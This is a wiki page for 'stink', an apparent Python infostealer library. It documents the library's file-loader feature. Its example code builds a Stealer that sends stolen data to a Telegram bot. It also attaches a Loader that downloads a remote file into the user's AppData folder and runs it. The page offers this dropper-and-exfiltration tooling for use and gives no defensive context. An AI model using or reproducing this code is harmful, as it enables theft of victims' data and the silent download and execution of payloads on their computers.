Files loader - FallenAstaroth/stink GitHub Wiki
Introduction
Downloads a file from a link and runs it as needed.
Customization
- Accepts 3 parameters:
url
: a direct link to the file.destination_path
: the path to save the file on PC.open_file
: whether to run the file after downloading.
- Multiple loaders can be specified.
Example usage
from os import environ, path
from stink import Stealer, Senders, Loader
if __name__ == '__main__':
Stealer(
senders=[
Senders.telegram(token="YOUR_TOKEN", user_id=YOUR_ID)
],
loaders=[
Loader(
url="https://github.com/FallenAstaroth/stink/blob/master/docs/logo.jpg?raw=true",
destination_path=path.join(environ["USERPROFILE"], "AppData", "stink_logo.jpg"),
open_file=True
)
]
).run()